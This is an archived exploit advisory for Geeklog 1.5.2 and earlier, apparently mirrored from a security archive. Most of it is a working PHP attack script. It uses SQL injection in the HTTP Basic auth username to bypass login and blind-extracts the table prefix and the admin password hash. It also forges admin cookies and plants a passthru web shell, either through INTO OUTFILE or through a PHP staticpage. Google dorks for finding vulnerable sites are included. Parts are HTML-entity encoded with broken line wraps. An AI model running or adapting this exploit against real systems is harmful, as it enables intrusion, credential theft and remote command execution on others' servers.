Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection exploit

2009-04-10T00:00:00
ID SECURITYVULNS:DOC:21605
Type securityvulns
Reporter Securityvulns
Modified 2009-04-10T00:00:00

Description

<?php

/* Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection exploit by Nine:Situations:Group::bookoo

our site: http://retrogod.altervista.org/
software site: http://www.geeklog.net/

credit goes to rgod, bug found more than a year ago

working against PHP &gt;= 5.0
google dorks: &quot;By Geeklog&quot; &quot;Created this page in&quot; +seconds +powered
              &quot;By Geeklog&quot; &quot;Created this page in&quot; +seconds +powered inurl:public_html

vulnerability, see /public_html/webservices/atom/index.php near lines 34-53:
...
require_once &#39;../../lib-common.php&#39;;

if &#40;PHP_VERSION &lt; 5&#41; {
$_CONF[&#39;disable_webservices&#39;] = true;
} else {
    require_once $_CONF[&#39;path_system&#39;] . &#39;/lib-webservices.php&#39;;
}
if &#40;$_CONF[&#39;disable_webservices&#39;]&#41; {
    COM_displayMessageAndAbort&#40;$LANG_404[3], &#39;&#39;, 404, &#39;Not Found&#39;&#41;;
}
header&#40;&#39;Content-type: &#39; . &#39;application/atom+xml&#39; . &#39;; charset=UTF-8&#39;&#41;;
WS_authenticate&#40;&#41;;
...

now WS_authenticate&#40;&#41; function in /system/lib-webservices.php near lines 780-877:

...
function WS_authenticate&#40;&#41;
{
global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;

$uid = &#39;&#39;;
$username = &#39;&#39;;
$password = &#39;&#39;;

$status = -1;

if &#40;isset&#40;$_SERVER[&#39;PHP_AUTH_USER&#39;]&#41;&#41; {
    $username = $_SERVER[&#39;PHP_AUTH_USER&#39;];
    $password = $_SERVER[&#39;PHP_AUTH_PW&#39;];

    if &#40;$WS_VERBOSE&#41; {
        COM_errorLog&#40;&quot;WS: Attempting to log in user &#39;$username&#39;&quot;&#41;;
    }
} elseif &#40;!empty&#40;$_SERVER[&#39;REMOTE_USER&#39;]&#41;&#41; {


    list&#40;$auth_type, $auth_data&#41; = explode&#40;&#39; &#39;, $_SERVER[&#39;REMOTE_USER&#39;]&#41;;
    list&#40;$username, $password&#41; = explode&#40;&#39;:&#39;, base64_decode&#40;$auth_data&#41;&#41;;

    if &#40;$WS_VERBOSE&#41; {
        COM_errorLog&#40;&quot;WS: Attempting to log in user &#39;$username&#39; &#40;via &#92;$_SERVER[&#39;REMOTE_USER&#39;]&#41;&quot;&#41;;
    }
} else {
    if &#40;$WS_VERBOSE&#41; {
        COM_errorLog&#40;&quot;WS: No login given&quot;&#41;;
    }


}

...

and after, near lines 907-909:

...
 if &#40;&#40;$status == -1&#41; &amp;&amp; $_CONF[&#39;user_login_method&#39;][&#39;standard&#39;]&#41; {
        $status = SEC_authenticate&#40;$username, $password, $uid&#41;;
    }

...


now open /system/lib-security.php near lines 695-717:

...
    function SEC_authenticate&#40;$username, $password, &amp;$uid&#41;
{
global $_CONF, $_TABLES, $LANG01;

$result = DB_query&#40;&quot;SELECT status, passwd, email, uid FROM {$_TABLES[&#39;users&#39;]} WHERE username=&#39;$username&#39; AND

((remoteservice is null) or (remoteservice = ''))"); //<------------------- SQL INJECTION HERE $tmp = DB_error(); $nrows = DB_numRows($result);

if &#40;&#40;$tmp == 0&#41; &amp;&amp; &#40;$nrows == 1&#41;&#41; {
    $U = DB_fetchArray&#40;$result&#41;;
    $uid = $U[&#39;uid&#39;];
    if &#40;$U[&#39;status&#39;] == USER_ACCOUNT_DISABLED&#41; {
        // banned, jump to here to save an md5 calc.
        return USER_ACCOUNT_DISABLED;
    } elseif &#40;$U[&#39;passwd&#39;] != SEC_encryptPassword&#40;$password&#41;&#41; {

        return -1; // failed login
    } elseif &#40;$U[&#39;status&#39;] == USER_ACCOUNT_AWAITING_APPROVAL&#41; {
        return USER_ACCOUNT_AWAITING_APPROVAL;
    } elseif &#40;$U[&#39;status&#39;] == USER_ACCOUNT_AWAITING_ACTIVATION&#41; {
        // Awaiting user activation, activate:
        DB_change&#40;$_TABLES[&#39;users&#39;], &#39;status&#39;, USER_ACCOUNT_ACTIVE,
                  &#39;username&#39;, $username&#41;;
        return USER_ACCOUNT_ACTIVE;
    } else {
        return $U[&#39;status&#39;]; // just return their status
    }
} else {
    $tmp = $LANG01[32] . &quot;: &#39;&quot; . $username . &quot;&#39;&quot;;
    COM_errorLog&#40;$tmp, 1&#41;;
    return -1;
}
}

...

you can inject sql code in the &#39;username&#39; argument of this function, it may
come from $_SERVER[&#39;PHP_AUTH_USER&#39;] or $_SERVER[&#39;REMOTE_USER&#39;] php
variables.
Theese vars are used for both HTTP Basic and Digest Authentication methods,
see PHP manual:

http://www.php.net/manual/en/features.http-auth.php

manual poc, visit http://host/path_to_geeklog/webservices/atom/index.php
then type:

username: &#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,2 FROM gl_users LIMIT 1/*
password: AAAA

authentication mechanism is bypassed!
Note that it is passed base64_encode&#40;&#41;&#39;d !

Now you have access to some dangerous functions:

service_submit_staticpages&#40;&#41;
service_delete_staticpages&#40;&#41;
service_get_staticpages&#40;&#41;
service_getTopicList_staticpages&#40;&#41;

in /plugins/staticpages/services.inc.php

service_submit_story&#40;&#41;
service_delete_story&#40;&#41;
service_get_story&#40;&#41;
service_getTopicList_story&#40;&#41;

in /system/lib-story.php

ex. the service_submit_staticpages&#40;&#41; one allows to specify a dangerous
sp_php flag in submitting &quot;staticpages&quot;; if the staticapages.PHP permission
is set to true for the staticpage admin &#40;not the default&#41;, the page will be
evaluated as PHP code.

If not, you can extract the admin hash, then have access to administration
panel by the cookie:

geeklog=[uid]; password=[md5 hash];

set the staticpages.PHP permission to true, then resubmit the &#39;staticpage&#39;.

Additional notes: Speed time limit is evaded by this script in submitting
login credentials/semi-blind queries.
If private folders are placed inside the www path &#40;ex. when then public_html
path is visible inside urls&#41; you could see the geeklog error.log with sql
errors, so disclose the table prefix, if not the default; ex, truncate the
url, replacing public_html/ with logs/error.log and you coukd also disclose
the local path by visiting ex. http://host/path/system/pear/Archive/Tar.php
http://host/path/system/classes/syndication/parserfactory.class.php

*/

$err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
$err[1] = &quot;[!] You need the curl extesion loaded!&quot;;

if &#40;php_sapi_name&#40;&#41; &lt;&gt; &quot;cli&quot;&#41; {
    die&#40;$err[0]&#41;;
}
if &#40;!extension_loaded&#40;&#39;curl&#39;&#41;&#41; {
    $win = &#40;strtoupper&#40;substr&#40;PHP_OS, 0, 3&#41;&#41; === &#39;WIN&#39;&#41; ? true :
    false;
    if &#40;$win&#41; {
        !dl&#40;&quot;php_curl.dll&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    } else {
        !dl&#40;&quot;php_curl.so&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    }
}

function syntax&#40;&#41; {
    print &#40;
    &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [OPTIONS] &#92;n&quot;. &quot;Options:

\n". "--port:[port] - specify a port \n". " default->80 \n". "--prefix - try to extract table prefix from information.schema \n". "
default->gl_ \n". "--uid:[n] - specify an uid other than default (2,usually admin) \n". "--proxy:[host:port] - use proxy \n". "--skiptest
- skip preliminary tests \n". "--test - run only tests
\n". "--export_shell:[path] - try to export a shell with INTO OUTFILE, needs Mysql\n". " FILE privilege \n". "--sp - submit a 'staticpage' with php code, needs geeklog \n". " sp_php permission set to true for thestaticpage \n". " plugin (not the default) \n". "Examples: php ".$argv[0]." 192.168.0.1 /geeklog/ \n". " php ".$argv[0]." 192.168.0.1 / --prefix --proxy:1.1.1.1:8080 \n". " php ".$argv[0]." 192.168.0.1 / --prefix --export_shell:/var/www\n". "
php ".$argv[0]." 192.168.0.1 / --prefix --uid:3"); die(); }

error_reporting&#40;E_ALL ^ E_NOTICE&#41;;
$host = $argv[1];
$path = $argv[2];

$prefix = &quot;gl_&quot;;
//default
$uid = &quot;2&quot;;
$where = &quot;uid=$uid&quot;;


$argv[2] ? print&#40;&quot;[*] Attacking...&#92;n&quot;&#41; :
 syntax&#40;&#41;;

$_f_prefix = false;
$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_verbose = false;
$_test = false;
$sp_submit = false;
$into_outfile = false;

for &#40;$i = 3; $i &lt; $argc; $i++&#41; {
    if &#40;stristr&#40;$argv[$i], &quot;--prefix&quot;&#41;&#41; {
        $_f_prefix = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--proxy:&quot;&#41;&#41; {
        $_use_proxy = true;
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $proxy_host = $tmp[1];
        $proxy_port = &#40;int&#41;$tmp[2];
    }
    if &#40;stristr&#40;$argv[$i], &quot;--port:&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $port = &#40;int&#41;$tmp[1];
    }

    if &#40;stristr&#40;$argv[$i], &quot;--uid&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $uid = &#40;int&#41;$tmp[1];
        $where = &quot;uid=$uid&quot;;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--verbose&quot;&#41;&#41; {
        $_verbose = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--skiptest&quot;&#41;&#41; {
        $_skiptest = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--test&quot;&#41;&#41; {
        $_test = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--export_shell:&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $my_path = $tmp[1];
        $into_outfile = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--sp&quot;&#41;&#41; {
        $sp_submit = true;
    }
}

function _s&#40;$url, $auth, $is_post, $request&#41; {
    global $_use_proxy, $proxy_host, $proxy_port;
    $ch = curl_init&#40;&#41;;
    curl_setopt&#40;$ch, CURLOPT_URL, $url&#41;;
    if &#40;$is_post&#41; {
        curl_setopt&#40;$ch, CURLOPT_POST, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_POSTFIELDS, $request.&quot;&#92;r&#92;n&quot;&#41;;
    }
    curl_setopt&#40;$ch, CURLOPT_RETURNTRANSFER, 1&#41;;
    curl_setopt&#40;$ch, CURLOPT_USERAGENT, &quot;Mozilla/5.0 &#40;Windows; U; Windows NT 5.1; it; rv:1.9.0.7&#41; Gecko/2009021910

Firefox/3.0.7"); curl_setopt($ch, CURLOPT_TIMEOUT, 0);

    if &#40;$auth &lt;&gt; &quot;&quot;&#41; {
         $auth = array&#40;&quot;Authorization: Basic &quot;.$auth&#41;;
        curl_setopt&#40;$ch, CURLOPT_HEADER, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_HTTPHEADER, $auth&#41;;
    }
    if &#40;$_use_proxy&#41; {
        curl_setopt&#40;$ch, CURLOPT_PROXY, $proxy_host.&quot;:&quot;.$proxy_port&#41;;
    }
    $_d = curl_exec&#40;$ch&#41;;
    if &#40;curl_errno&#40;$ch&#41;&#41; {
        die&#40;&quot;[!] &quot;.curl_error&#40;$ch&#41;.&quot;&#92;n&quot;&#41;;
    } else {
        curl_close&#40;$ch&#41;;
    }
    return $_d;
}

function find_prefix&#40;&#41; {
    global $host, $port, $path, $uid, $pwd, $url;

    $_tn = &quot;TABLE_NAME&quot;;
    $_ift = &quot;information_schema.TABLES&quot;;

    $_table_prefix = &quot;&quot;;
    $j = -15;
    $usr = &quot;&#39; AND 0 UNION SELECT null,null,null,null FROM $_ift WHERE &quot;.$_tn.&quot; LIKE 0x25747261636b6261636b636f646573

LIMIT 1/"; $_o = _s($url, base64_encode($usr.":".$pwd) , 0, ""); if (chk_err($_o)) { die("[!] $_ift not availiable."); } else { print "[] Initiating table prefix extraction...\n"; } while (!$null_f) { $mn = 0x00; $mx = 0xff; while (1) { if (($mx + $mn) % 2 == 1) { $c = round(($mx + $mn) / 2) - 1; } else { $c = round(($mx + $mn) / 2); }

            $usr = &quot;&#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,&#40;CASE WHEN &#40;ASCII&#40;SUBSTR&#40;&quot;.$_tn.&quot; FROM $j FOR 1&#41;&#41; &gt;=

".$c.") THEN '' ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*"; $_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");

            if &#40;chk_err&#40;$_o&#41;&#41; {
                $mn = $c;
            } else {
                $mx = $c - 1;
            }

            if &#40;&#40;$mx-$mn == 1&#41; or &#40;$mx == $mn&#41;&#41; {
                $usr = &quot;&#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,&#40;CASE WHEN &#40;ASCII&#40;SUBSTR&#40;&quot;.$_tn.&quot; FROM $j FOR 1&#41;&#41; &gt;=

".$c.") THEN '' ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*"; $_o = _s($url, base64_encode($usr.":".$pwd) , 0, ""); if (chk_err($_o)) { if ($mn <> 0) { $_table_prefix = chr($mn).$_table_prefix; } else { $null_f = true; } } else { if ($mx <> 0) { $_table_prefix = chr($mx).$_table_prefix; } else { $null_f = true; } } if (!$null_f) { print ("[?] Table prefix->[??]".$_table_prefix."\n"); } break; } } $j--; } print "[?] Table prefix->".$_table_prefix."\n"; return $_table_prefix; }

function export_sh&#40;&#41; {
    global $pwd, $url, $prefix, $my_path;
    $usr = &quot;&#39; AND 0 UNION SELECT null,&#39;&lt;?php passtrhu&#40;&#92;$_GET[cmd]&#41;;?&gt;&#39;,null,null INTO OUTFILE &#39;&quot;.$my_path.&quot;/sh.php&#39;

FROM ".$prefix."users LIMIT 1/"; $_o = _s($url, base64_encode($usr.":".$pwd) , 0, ""); if (chk_err($_o)) { print ("[] Sql error."); } else { print ("[*] Done."); } }

function sp_php&#40;&#41; {
    global $host, $port, $path, $pwd, $prefix, $uid;

    srand&#40;make_seed&#40;&#41;&#41;;
    $id = rand&#40;0x1, 0xffffff&#41;;
    echo &quot;[*] id-&gt;&quot;.$id.&quot;&#92;n&quot;;

    $sh = &quot;passthru&#40;&#92;$_GET[cmd]&#41;;&quot;;

    //always specify the namespaceuri
    //if the staticpages.PHP permission is not avaliable, sp_php will be resetted to 0
    $data = &quot;&lt;?xml version=&#92;&quot;1.0&#92;&quot;?&gt;&quot;. &quot;&lt;entry&gt;&quot;. &quot;&lt;title term=&#92;&quot;1&#92;&quot;

xmlns=\"http://www.geeklog.net/xmlns/app/gl\">\x20\x20\x20\x20</title>". "<id xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$id</id>". "<sp_content xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$sh</sp_content>". "<sp_php xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</sp_php>". "<gl_etag xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</gl_etag>". "</entry>";

    $usr = &quot;&#39; AND 0 UNION SELECT 3,MD5&#40;&#39;AAAA&#39;&#41;,null,$uid FROM &quot;.$prefix.&quot;users LIMIT 1/*&quot;;
    $url = &quot;http://$host:$port&quot;.$path.&quot;webservices/atom/index.php?plugin=staticpages&quot;;
    $out = _s&#40;$url, base64_encode&#40;$usr.&quot;:&quot;.$pwd&#41; , 1, $data&#41;;

    if &#40;chk_err&#40;$_o&#41;&#41; {
        print &#40;&quot;[*] Sql error.&quot;&#41;;
    } else {
        print &#40;&quot;[*] Done! Visit-&gt;http://$host:$port&quot;.$path.&quot;staticpages/index.php?page=$id&amp;cmd=ls&#37;20-la&quot;&#41;;
    }

}

function make_seed&#40;&#41; {
    list&#40;$usec, $sec&#41; = explode&#40;&#39; &#39;, microtime&#40;&#41;&#41;;
    return &#40;float&#41; $sec + &#40;&#40;float&#41; $usec * 100000&#41;;
}

function chk_err&#40;$s&#41; {
    if &#40;stripos &#40;$s,

"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64\x2e")) { return true; } else { return false; } }

$pwd = &quot;AAAA&quot;;
$url = &quot;http://$host:$port&quot;.$path.&quot;webservices/atom/index.php?plugin=staticpages&quot;;

if &#40;!$_skiptest&#41; {
    $out = _s&#40;$url, base64_encode&#40;&quot;&#39;:&#39;&quot;&#41; , 0, &quot;&quot;&#41;;
    if &#40;chk_err&#40;$out&#41;&#41; {
        print&#40;&quot;[*] Vulnerable!&#92;n&quot;&#41;;
    } else {
        die&#40;&quot;[!] Not vulnerable.&quot;&#41;;
    }
}

if &#40;$_test&#41; {
    die;
}

if &#40;$_f_prefix == true&#41; {
    $prefix = find_prefix&#40;&#41;;
}

if &#40;$into_outfile == true&#41; {
    export_sh&#40;&#41;;
    die;
}
if &#40;$sp_submit == true&#41; {
    sp_php&#40;&#41;;
    die;
}

$c = array&#40;&#41;;
$c = array_merge&#40;$c, range&#40;0x30, 0x39&#41;&#41;;
$c = array_merge&#40;$c, range&#40;0x61, 0x66&#41;&#41;;
$_hash = &quot;&quot;;
print &#40;&quot;[*] Initiating hash extraction ...&#92;n&quot;&#41;;
for &#40;$j = 1; $j &lt; 0x21; $j++&#41; {
    for &#40;$i = 0; $i &lt;= 0xff; $i++&#41; {
        $f = false;
        if &#40;in_array&#40;$i, $c&#41;&#41; {
            //uid is mediumint, so if you assign a string value to it you have an sql error, so the script fails hence

true/fails questions and you bypass speed limit also $usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN (ASCII(SUBSTR(passwd FROM $j FOR 1))=$i) THEN '' ELSE $uid END) FROM ".$prefix."users WHERE $where LIMIT 1/"; $out = _s($url, base64_encode($usr.":".$pwd) , 0, ""); if (chk_err($out)) { $f = true; $_hash .= chr($i); print "[] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n"; break; } } } if ($f == false) { die("\n[!] Unknown error ..."); } } print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n"; ?>

original url: http://retrogod.altervista.org/9sg_geeklog_152_sql.htm